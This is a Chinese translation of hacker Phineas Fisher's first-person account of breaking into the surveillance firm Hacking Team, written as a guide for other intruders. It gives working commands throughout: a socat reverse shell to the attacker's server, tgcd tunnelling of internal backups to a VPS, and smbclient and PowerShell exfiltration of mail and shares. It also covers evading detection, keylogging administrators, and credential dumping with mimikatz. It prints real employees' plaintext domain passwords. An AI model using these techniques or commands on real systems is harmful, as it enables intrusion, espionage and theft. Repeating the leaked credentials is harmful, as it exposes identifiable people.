跳至主要内容

黑客讲述渗透Hacking Team全过程

原文地址在Freebuf,后来已经被删除
Wayback Machine备份


近期,黑客Phineas Fisher在pastebin.com上讲述了入侵Hacking Team的过程,以下为其讲述的原文情况,文中附带有相关文档、工具及网站的链接,请在安全环境下进行打开,并合理合法使用。作者部分思想较为激进,也请以辩证的观点看待之。

1、序言

在这里,可能你会注意到相比于前面的一个版本,这个版本的内容及语言有了一些变化,因为这将是最后一个版本了[1]。对于黑客技术,英语世界中已经有了许多书籍,讲座,指南以及关于黑客攻击的知识。在那个世界,有许多黑客比我优秀,但他们埋没了他们的天赋,而为所谓的“防护”服务商(如Hacking Team之流的),情报机构服务工作。黑客文化作为一项非主流文化诞生于美国,但它现在只保留了它本质的魅力,其他均被同化了。从黑客的本质出发,至少他们可以穿着一件T恤,把头发染成蓝色,用自己的黑客的名字,随意洒脱地做着自己喜欢的事件,而当他们为别人(前文所指的Hacking Team及情报机构)工作的时候,会感觉自己像个反抗者。
如果按照传统的方式,你不得不潜入办公室偷偷拿到文件[2],或者你不得不持枪抢劫银行。但现在你仅仅需要一台笔记本,躺在床上动动手指便可做得这一切[3][4]。像CNT在入侵伽玛集团(Gamma Group)之后说的,“让我们以一种新的斗争方式向前迈进吧”[5]。
[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
[3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html
[4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf 
[5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group

2、Hacking Team

Hacking Team 是一家帮助政府针对新闻记者,激进分子,政府中的反对派以及其他的对政府可能造成的威胁因素进行入侵和监控的公司,详情可参考链接[1][2][3][4][5][6][7][8][9][10][11]。同样的,有时候也会针对违法犯罪和恐怖分子进行监控[12]。Vincenzetti为该家公司的CEO,而其邮件的最后签名往往带有法西斯口号“boia chi molla”(放弃者死)。一直以来,他宣称其拥有解决“Tor问题”以及“暗网问题”的技术[13]。但对此,我保持我的想法自由,我很怀疑其说的技术是否真的有效。
[1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
[2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
[3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
[4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
[5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
[6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
[7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
[8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
[9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
[10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
[11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
[12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
[13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web

3、小心那里!

不幸的是,我们的世界凌乱不堪。有人可以通过做坏事来变得更加富裕,而有人却因做好事而遭受囚禁。幸运的是,感谢为了”Tor项目“付出努力的人们,你可以通过以下方式来隐匿自己,

(1)加密你的硬盘

我认为别等到警察来扣留你的电脑时,才悔之晚矣,俗话说,一分预防胜过十分治疗。
(2)使用虚拟机,并通过Tor来传输你的流量,这可以达到两个目的,第一,你的所有连接通过Tor可进行匿名。第二,保证你的个人生活和匿名生活(也可以说是,现实生活和网络生活)分开在不同的电脑上,这将帮助你避免有时候会将两者混淆在一起。你还可以通过匿名操作系统Whonix,[3], Tails [4], Qubes TorVM [5]或者其他定制化的工具来保护自己[6]。你可以在对应的编号链接找到比较详细的描述[7]。
(3)不要直接连接到Tor网络(视情况而定)
Tor并不是万灵药。在你连接上Tor以及实施你的黑客行动时,这两者之间的时间点是可能会被关联的。当然,也存在使用Tor 出口节点 [8] 的攻击,或者你可以使用别人的wifi连接到网络。而Wifislax [9] 是一个具备许多获取wifi工具的发行版linux。另外一个选择是,在连接到Tor之前,先连接到VPN或是桥节点[10],但这可能不安全,因为这可以使得黑客的行动与住所的网络行为发生关联,(这也是Jeremy Hammond杰瑞米·哈蒙德 被指控的原因(作为指控证据[11])。实际情况是,尽管Tor是不完美的,但它仍可以很好地支持我们的工作。当我在年轻鲁莽的时候,在除了使用Tor,而没有其他任何保护措施的情况下,我做了很多事情(这里我说的是黑客攻击),而警方却一直无法进行有效调查,直到现在我并没有出现任何问题。
[1] https://www.torproject.org/
[2] https://info.securityinabox.org/es/chapter-4
[3] https://www.whonix.org/
[4] https://tails.boum.org/
[5] https://www.qubes-os.org/doc/privacy/torvm/
[6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
[7] https://www.whonix.org/wiki/Comparison_with_Others
[8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
[9] http://www.wifislax.com/
[10] https://www.torproject.org/docs/bridges.html.en
[11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html

3.1、基础设施

如果要进行攻击,我不会直接从Tor出口节点实施攻击。因为这些Tor出口节点都在黑名单上,速度很慢,并且不能获得反向连接。Tor只是用来进行匿名,我会连接到用以实施攻击的基础设施,其中包括,
(1)域名
可对C&C服务器进行导向,并为安全撤出设置好DNS隧道。
(2)稳定的服务器
作为C&C服务器接收反弹shells,同时作为一个发动攻击和存储获得各类数据的地方。
(3)攻击服务器
进行端口扫描,例如,扫描整个网络,或者通过SQL注入下载一个数据库等。

3.2、责任

在新闻上,我们经常看到攻击政府的黑客组织(“一般通过实施APTs”),因为他们总是使用同样的工具,留下同样的特征,甚至使用同样的基础设施(域名,邮件等等)。因为他们可以发动任意攻击而不用负任何法律责任,所以往往不会注意这一点。
我并不想让执法者太容易追溯到我对Hacking Team做了什么。作为一名黑帽黑客夜以继日的工作,使用了新的服务器以及域名,注册了新的邮箱,以及通过新的比特币进行交易。在入侵的过程中只使用了那些公开发布的工具,以及为了此次攻击专门编写的工具。而至此,我改变以往的做事风格,为的就是不留下我的特征标记

4、信息收集

虽然它可能是乏味的,这一步是非常重要的,因为攻击面越大,就越容易找到其中的弱点。

4.1、技术信息

所需的工具和技术:
(1) Google
从一次精心构造的搜索查询中,你可以获得意想不到的东西。比如,DPR身份信息[1]。”Google Hacking for  Penetration Testers” [2]可作为参考,这是进行google hacking的圣经。
(2)子域名列举
一个企业主要的域名通常为第三方机构所提供,你将会发现属于域名像mx.company.com, ns1.company.com等等诸如此类的IP地址段。而有时这些子域名会“隐藏”起来,并不会暴露在网络之上。可利用工具像 fierce[3], theHarvester [4], and recon-ng [5]来枚举子域名.
(3)Whois查询与反向查询
通过使用域名whois查询信息或者企业的IP范围进行反向查询,你可以找到属于企业的其他域名和IP范围。据我所知,目前来说除了通过 google hack ,尚还没有存在免费的反向whois查询,google hack如:
  "via della moscova 13" site:www.findip-address.com
   "via della moscova 13" site:domaintools.com
(4)端口扫描与指纹识别
除了其他技术,你还可以通过和该企业的员工进行交谈,从中获取信息。我把它归属在这部分中是因为这种并不是一种攻击,仅仅只是一种收集信息的方法。另一方面则是进行端口扫描,虽然企业的IDS(入侵防御系统)会进检测到端口扫描事件,但是不用担心,因为IDS本身的误报很多,都是来自其内部的告警信息,所以你的端口扫描会被淹没在大量的误报中。
对于扫描,使用nmap是最为适合的,可识别它发现的大部分服务。因为企业包含了一大片IP地址段,考虑到效率,zmap[7] 和 masscan [8] 在效率上是较为快速的,WhatWeb [9] 以及BlindElephant [10]则能通过指纹匹配网站。
[1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
[2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
[3] http://ha.ckers.org/fierce/
[4] https://github.com/laramies/theHarvester
[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[6] https://nmap.org/
[7] https://zmap.io/
[8] https://github.com/robertdavidgraham/masscan
[9] http://www.morningstarsecurity.com/research/whatweb
[10] http://blindelephant.sourceforge.net/

4.2、社会信息

对于社会工程,收集关于员工,岗位角色,通讯方式,操作系统,插件,软件等信息是非常有用的。
(1)Google
仍然是最有用的工具。
(2)theHarvester及recon-ng工具
这两个工具已经在上一部分提到了,但其实这两个工具还是有更多的功能。你可以通过它快速、自动地搜索到许多信息,它们的操作手册也都值得一读。
(3)LinkedIn
你可以在这里找到许多员工信息,企业的招聘人员是最能够与之进行“交流”的人。
(4) Data.com数据网站
如jigsaw,他们有着大量的员工信息。
(5)文件元数据
你可以找到许多员工和相关系统信息在企业对外发布的文件中。针对企业网站上的文件进行查找以及提取其中的元数据,其中较为有用的工具为metagoofil [1] and FOCA [2]。
[1] https://github.com/laramies/metagoofil
[2] https://www.elevenpaths.com/es/labstools/foca-2/index.html

5、进入内网

这里会有多种途径进入到内网。由于针对Hacking Team所使用的方法不是很常用,而且会比普通的方法更麻烦。我建议先尝试接下来我提到的常见方法。

5.1、社会工程

社会工程,特别是鱼叉式网络钓鱼,近期也大多数攻击事件都与这种方式有关。请参照西班牙语的一个介绍,见[ 1 ]。而对于以英语发布的更多的信息,见[ 2 ](第三部分,“有针对性的攻击”)。有关社会工程在过去的有趣的轶事,见[ 3 ]。我不想尝试针对Hacking Team的钓鱼攻击,因为他们本身的一部分业务就是帮助政府对其反对派进行钓鱼。所以这其中会有很大的风险被Hacking Team识别到,从而打草惊蛇。
[1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
[2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
[3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf

5.2、购买权限

感谢勤劳的俄罗斯人和他们的漏洞利用工具包,以及僵尸网络。我们也都知道,许多公司的网络中都会有一些漏洞的机器。而几乎所有的财富榜上Top500的企业,都有一个庞大的网络,且都会有一些僵尸机器在里面。相比而言,Hacking Team只是一家比较小的公司,而大部分员工都是信息安全领域的专家,所以内部网络出现漏洞的可能性比较小。

5.3、技术利用

在伽马集团被入侵之后,我在搜索漏洞过程中发现一个进程。而据检测,Hacking Team有以下的公网IP地址范围,
inetnum:        93.62.139.32 - 93.62.139.47
descr:          HT public subnet
但Hacking Team还是与公共网络有一些接轨。不像伽马集团,Hacking Team面向公网的站点需要客户端的认证才得以通过。而根据我前期的了解,其中包含了一个主要站点(一个Joomla blog,而就扫描工具Joomscan的扫描结果来看,并没有发现什么漏洞),一个邮件服务器,两个路由器,两个VPN系统以及一个垃圾邮件过滤系统。所以,现在有三个选择:尝试找到一个Joomla的0day,或者是postfix邮件系统上的0day,要不就是嵌入式系统上的0day。所以,到了这里,挖掘一个在嵌入式系统上的0day相对来说应该较为容易了。在经过两个星期的逆向工作后,我发现了一个远程代码执行漏洞。由于该漏洞尚未修补,所以理论上接下来是可以进行利用的。但在这里就不涉及到更多的细节。有关如何搜索该类型的漏洞的方法,可参见[3]以及[4]。
[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] http://sourceforge.net/projects/joomscan/
[3] http://www.devttys0.com/
[4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A

6、准备工作

在针对Hacking Team使用这个exp之前,我做了很多的准备跟测试。我编写了一个带有后门的固件,以及针对嵌入式系统编写了多个post-exploitation工具。后门程序的作用在于保护exploit。
以下为我准备的post-exploitation工具:
(1)BusyBox
BusyBox 是一个集成了一百多个最常用linux命令和工具的软件。BusyBox 包含了一些简单的工具,例如ls、cat和echo等等,还包含了一些更大、更复杂的工具,例grep、find、mount以及telnet。它集成压缩了 Linux 的许多工具和命令,也包含了 Android 系统的自带的shell。
(2)nmap
扫描及指纹识别Hacking Team的内部网络。
(3)Responder.py
内网中间人攻击脚本,攻击Windows最有用的工具,无需用户账号,便可访问内部网络的权限。
(4)younghon
为了执行Responder.py
(5)tcpdump
嗅探流量
(6)dsniff
针对有漏洞协议(如FTP协议)进行密码嗅探,和ARP欺骗攻击。但我更想使用ettercap(由Hacking Team的ALoR和NaGA编写的),但很难编译进系统。
(7)socat
一个有用的pty shell:
my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
   hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \
    tcp:my_server:my_port
该工具是属于网络类瑞士军刀,也可以说是一个netcat的同类型产品。socat的特点就是在两个流之间建立一个双向的通道。socat的地址类型很多,有ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl等等。
(8)screen
类似socat的pty脚本,其实也并不是必要工具,但这会让我在Hacking Team的网络里面如身处家中一样。这是一个SSH远程会话管理工具。
(9)一个SOCKS5代理服务器
与代理工具proxychains一起使用,用于访问内网。
(10)tgcd
用来进行端口转发,穿透防火墙。
[1] https://www.busybox.net/
[2] https://nmap.org/
[3] https://github.com/SpiderLabs/Responder
[4] https://github.com/bendmorris/static-python
[5] http://www.tcpdump.org/
[6] http://www.monkey.org/~dugsong/dsniff/
[7] http://www.dest-unreach.org/socat/
[8] https://www.gnu.org/software/screen/
[9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
[10] http://tgcd.sourceforge.net/
在进行攻击之前,需要先设想下可能会出现的情况。那么我能预见的可能发生的最坏事情是,我的后门或post-exploit工具将使系统不稳定,从而引起内部人员注意并展开调查。因此,在其他易受攻击的同类企业网络环境中,我花了一周的时间测试我的漏洞,后门,和 post-exploit工具,然后才开始进入 Hacking Team 网络。

7、查看及监听

通过此前发现的漏洞及工具,现在我已经身处于内网中了,我想四处查看下以及需要思考下一步做什么。切换Responder.py脚本到分析模式(-A,仅监听,不发送回复数据包),及通过nmap进行低频,缓慢地扫描。

8、NoSQL 数据库

数据库为NoSQL,或者说是无需验证,这对于黑客来说是一个很棒的礼物。正当我担心MySQL的所有漏洞可能被修复时[2][3][4][5]。以下新的数据库出现了,发现其设计存在验证漏洞。而通过Nmap,也发现了在Hacking Team内网中的一些数据库。
27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
|   totalSize = 49856643072
...
|_    version = 2.6.5
27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 31987
|   totalSize = 33540800512
|   databases
...
|_    version = 2.6.5
看起来这些是Hacking Team监控系统RCS所使用的测试实例。而由RCS监听的音频会以GridFS方式存储在MongoDB中。这就是在下面链接[6]中,音频文件夹的来源,看来他们自己也监控着自己。
[1] https://www.shodan.io/search?query=product%3Amongodb
[2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
[3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
[4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
[5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
[6] https://ht.transparencytoolkit.org/audio/

9、跨越网段

其中比较有趣的是,其监控及抓取到的是Hacking Team正在开发恶意程序的网络摄像头画面,但是这些信息对于下一步计划来说并不是很有用。而其中不安全的备份正是我们可以利用的漏洞。根据以下文档[1],他们的iSCSI系统应该是部署在一个隔离的网络中,但是nmap可以扫描到其在192.168.1.200/24子网中的部分地址,
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:ht-synology.name
|     Address: 192.168.200.66:3260,0
|_    Authentication: No authentication required
Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:synology-backup.name
|     Address: 10.0.1.72:3260,0
|     Address: 192.168.200.72:3260,0
|_    Authentication: No authentication required
因iSCSI系统需要关联一个内核模块,所以要将其编译为嵌入式系统中存在一定难度。随后,我通过端口转换,将其挂载到一个VPS(虚拟专用服务器),
VPS: tgcd -L -p 3260 -q 42838
Sistema embebida: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
iSCSI ,现在发现了 iqn.2000-01.com.synology的名字,但在将其挂载之前尚存在一些问题,因为它现在识别它的地址为192.168.200.72 以及 127.0.0.1。
为解决这个问题,执行以下操作,
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
接着执行,
scsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login
最后我们成功将其挂载上了。
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
接着发现多个虚拟机的备份文件。Exchange邮件服务器让我最感兴趣。但它容量太大了,下载不了,但我们仍然可以远程将其挂载,并搜索有趣的记录。
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT

so the offset is 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
于文件目录,
/mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
我们发现虚拟机的硬盘驱动器,将之挂载,
dfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
最后我们现在已经接触到了核心的内容了,我们能够查看旧的Exchange邮件服务器的所有文件了。
[1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf

10、从安全备份到域管理

在安全备份中我最感兴趣的是,想尝试找到一个我可以用来访问实际服务器的密码或Hash。我用pwdump,cachedump,和lsadump [ 1 ]与注册表的备份来进行查找。而最后通过lsdadump发现了besadmin服务帐户(属于黑莓企业服务器)的密码:
_SC_BlackBerry MDS Connection Service
0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.
0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........
接下来我在嵌入式系统中使用了proxychains代理工具以及smbclient去检测密码,
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
获取到密码了!besadmin的密码仍然可用,且是个本地的admin账户。接下来,我用着我的代理和metasploit’s psexec_psh模块获取到一个meterpreter session。接下转向一个64位的进程,”load kiwi [5]和”creds_wdigest”,以下为获取到的一些密码信息,
HACKINGTEAM  BESAdmin       bes32678!!!
HACKINGTEAM  Administrator  uu8dd8ndd12!
HACKINGTEAM  c.pozzi        P4ssword      <---- look! the sysadmin!
HACKINGTEAM  m.romeo        ioLK/(90
HACKINGTEAM  l.guerra       4luc@=.=
HACKINGTEAM  d.martinez     W4tudul3sp
HACKINGTEAM  g.russo        GCBr0s0705!
HACKINGTEAM  a.scarafile    Cd4432996111
HACKINGTEAM  r.viscardi     Ht2015!
HACKINGTEAM  a.mino         A!e$$andra
HACKINGTEAM  m.bettini      Ettore&Bella0314
HACKINGTEAM  m.luppi        Blackou7
HACKINGTEAM  s.gallucci     1S9i8m4o!
HACKINGTEAM  d.milan        set!dob66
HACKINGTEAM  w.furlan       Blu3.B3rry!
HACKINGTEAM  d.romualdi     Rd13136f@#
HACKINGTEAM  l.invernizzi   L0r3nz0123!
HACKINGTEAM  e.ciceri       2O2571&2E
HACKINGTEAM  e.rabe         erab@4HT!
[1] https://github.com/Neohapsis/creddump7
[2] http://proxychains.sourceforge.net/
[3] https://www.samba.org/
[4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
[5] https://github.com/gentilkiwi/mimikatz

11、下载邮件

现在我已经有了域管理员的权限,并且已经可以访问到公司的核心信息——邮件。因为我每使用一个密码都会增加被检测到的风险,那我就在对其进行浏览之前,先把邮件下载下来。而Powershell使得这一过程变得更加简单。在获取到邮件之后,等了几个星期才获取到源代码以及其他东西。之后又进入一次去下载新的邮件。因为服务器是意大利的,所以日期格式为日/月/年,我通过使用以下操作来进行:
-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}
通过新的MailboxExportRequest,又下载了新的邮件(在这种情况下,所有的邮件皆是6月5日之前的。)问题在于如果日期大于12(这是因为在美国通常将将月份放在第一位,而月份通常又不能大于12),那么会返回的日期将不可用。看来微软公司的工程师只按照他们自己地区的配置习惯测试了软件。
[1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/

12、下载文件

现在我拥有域管理员的权限,我通过代理和smbclient的-Tc选项,开始下载共享出来的文件,比如,
proxychains smbclient '//192.168.1.230/FAE DiskStation' \
    -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'

13、Windows域管理简介

在这里我想中断下,来分享一些关于攻击Windows 网络的内容。

13.1最新的时间

我将快速复述一下关于在Windows网络中的传播技术。远程执行技术要求需要一个本地的管理员密码或者hash才能开始进行。通常来说,获取这些登录口令的最常见的方式是使用 mimikatz [1],以及上述所提到的sekurlsa::logonpasswords模块,sekurlsa::msv模块,在之后,应该就能以管理员权限访问机器了。而最重要的提权工具是PowerUp [2]以及bypassuac [3]。
[1] https://adsecurity.org/?page_id=1821
[2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1
远程指南:
(1)psexec
Windows网络工具,你可以使用 psexec [1], winexe [2]以及metasploit的psexec_psh模块,powershell empire的invoke_psexec [4]或者是Windows命令”sc” [5]。对于metasploit模块,powershell empire,pth-winexe [6],获取hash便已足够,无需密码了。这是最为普遍的方法(需要打开445端口),但这种做法也是最不谨慎的。从我的经验来看,这种方法在攻击过程中从来不会被发现,但是在之后或许调查人员会找到其中的蛛丝马迹,从而推测出黑客的攻击路径。
(2)WMI
最谨慎的方法。WMI服务能够在所有的计算机上启用,除了服务器,因为防火墙会默认将其阻断。你可以使用wmiexec.py [7],pth-wmis [6](同样,你可以找到wmiexec 以及pth-wmis的demo进行参考,请参照[8])。powershell empires的invoke_wmi模块或者是Windows命令,wmic[5]。除了wmic之外,剩下的就要求需要hash了。
(3)PSRemoting [10]
这个功能默认是禁用的,我不建议在网络环境中使用新的协议。但是如果是管理员启用了该功能,那么对于我们来说是非常方便的,特别是可以使用powershell来做几乎任何事情。虽然这种方法在powershell 5 和 Windows 10中有所改变,但powershell现在仍然可以很容易的做很多事情,比如规避防病毒检测以及防止留下更多的指纹。
(4)程序任务
你可以通过 at 和 schtasks[5]远程执行这个程序。它们工作机制与psexec相同,同时也会留下一些已知的指纹。
(5)GPO
如果所有的协议都被禁用或者被防火墙阻断,但是如果你是域管理员,你可以使用GPO给它一个登录脚本,接着安装msi,并执行一个程序任务[13],或者就像我们看到Mauro Romeo(Hacking Team的系统管理员)的电脑上操作一样,通过GPO来启用WMI以及关闭防火墙过滤。
[1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
[2] https://sourceforge.net/projects/winexe/
[3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
[4] http://www.powershellempire.com/?page_id=523
[5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-
cc/
[6] https://github.com/byt3bl33d3r/pth-toolkit
[7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
[8] https://www.trustedsec.com/june-2015/no_psexec_needed/
[9] http://www.powershellempire.com/?page_id=124
[10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
[11] https://adsecurity.org/?p=2277
[12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
[13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py
本地指南:
(1)伪造token
一旦你能以管理员权限访问到一台计算机,你也可以使用其他用户的token去访问域管理上的资源。可实现该功能的两个推荐工具是 incognito [1]以及mimikatz[2]中的“token::*”命令。
(2)MS14-068
你可以利用一个在Kerberos协议上可用的漏洞,生成一个域管理员凭证。
(3)通过hash
如果你拥有一个用户,但该用户并无一个可用的会话,你可以使用sekurlsa:pth [2]去获取一个用户凭证。
(4)进程注入
任何的RAT能够被注入到另外一个进程中-在meterpreter 和 pupy中的 [6] migrate命令,比如,或者powershell empire中的psinject [7]。你可以通过上述工具或者命令注入到有你需要的token的进程中。
(5)runas
runas是允许用户用其他权限运行指定的工具和程序,而不是用户当前登录提供的权限,有时候会比较有用,该命令属于Windows的一部分,在使用过程中如果你没有对应的图形界面,你也可以使用powershell[8]。
[1] https://www.indetectables.net/viewtopic.php?p=211165
[2] https://adsecurity.org/?page_id=1821
[3] https://github.com/bidord/pykek
[4] https://adsecurity.org/?p=676
[5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
[6] https://github.com/n1nj4sec/pupy
[7] http://www.powershellempire.com/?page_id=273
[8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1

13.2、维持权限

如果你获取了访问权限,接下来是想维持它。而持续进行对于我们来说是一个挑战。当你渗透企业时,一般是不需要维持权限的,因为企业一般不会关闭机器。对于权限维持的更多信息,可以参照 [2][3][4]。但是渗透企业时,你根本不需要它,这只会增加被检测到的风险。
[1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
[2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
[3] http://www.hexacorn.com/blog/category/autostart-persistence/
[4] https://blog.netspi.com/tag/persistence/

13.3、内部侦查

这些天使用探测Windows网络的最好工具是Powerview [1].该工具的使用值得一读[2],[3], [4], [5], [6]。
Powershell在这里同样也是一个强大的工具。但是因为还是有很多服务器版本为2003及2000版的(这些版本并没有powershell功能),所以还是需要看回传统的途径方式,如使用netview.exe [9]工具或者windows的”new view”命令。其他的技术我是建议如下:
(1)下载文件列表
在域管理账户的权限下,你可以通过powerview下载网络中所有的文件列表,
 Inqvoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
   select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1]
   | select fullname | out-file -append files.txt}
(2)阅读邮件
如上所说的,现在我们可以通过powershell来下载邮件,从而获取有用的信息。
(3)读取sharepoint平台信息
同样的,sharepoint平台亦是一个企业重要的管理系统,你也是可以使用powershell [10]下载相关信息。
(4)活动目录[11]
其中存在大量有用的信息,像用户和计算机等信息。无需获取域管理员账号,你也是可以通过powerview以及其他工具[12]来获取。在成为域管理员之后,你可以通过使用csvde或其他工具,从AD域中导出信息。
(5)监控员工
通过监视Christian Pozzi(Hacking Team的系统管理员),我获取到访问Nagios网络监视服务器的权限,而它带给我访问到’rete sviluppo(网络发展)’区域的权限(存放RCS源码的开发网络区域)。通过一记简单的组合拳(利用PowerSploit的Get-Keystrokes 和 Get-TimedScreenshot [13]功能模块),nishang(基于powershell的渗透测试框架)的Do-Exfiltration以及GPO,我可以监视网络中任意一个员工,甚至是整个域。
[1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
[2] http://www.harmj0y.net/blog/tag/powerview/
[3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
[4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
[5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
[6] http://www.slideshare.net/harmj0y/i-have-the-powerview
[7] https://adsecurity.org/?p=2535
[8] https://www.youtube.com/watch?v=rpwrKhgMd7E
[9] https://github.com/mubix/netview
[10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
[11] https://adsecurity.org/?page_id=41
[12] http://www.darkoperator.com/?tag=Active+Directory
[13] https://github.com/PowerShellMafia/PowerSploit
[14] https://github.com/samratashok/nishang

14、狩猎系统管理员

通过查阅内部IT基础设施的相关文档[1],我知道目前仍然没有权限去访问其中的重要区域’Rete Sviluppo’,这个区域是存放RCS源代码的地方,且是独立的网络。一个企业的系统管理员通常来说,都会有权限访问所有的设备、网络及系统等。我通过查询搜索Mauro Romeo 和 Christian Pozzi的计算机,查看他们是如何访问到’rete sviluppo’区域以及是否存在其他有用的系统。访问他们的计算机很容易,因为我具备域管理员权限,而他们的计算机则是Windows域中的一部分,所以我可以管理其计算机。uro Romeo的计算机上并没有一个开放的端口,所以我打开了WMI端口,以便能够执行meterpreter [3].除了通过Get-Keystrokes 和 Get-TimedScreenshot模块收集击键信息和应用,我还使用许多metasploit 的收集模块,CredMan.ps1 [4],并基于收集的结果进行检索。之后,我看到 Pozzi有一个加密卷,并等待挂载,所以我将其复制了一份下来。而这里估计会有很多人嘲笑Christian Pozzi的弱口令吧(而Christian Pozzi也算是为我们提供了很多喜剧的素材[6][7][8][9])。最后通过mimikatz 和击键记录工具得到了所有的密码。
[1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
[2] http://www.hammer-software.com/wmigphowto.shtml
[3] https://www.trustedsec.com/june-2015/no_psexec_needed/
[4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
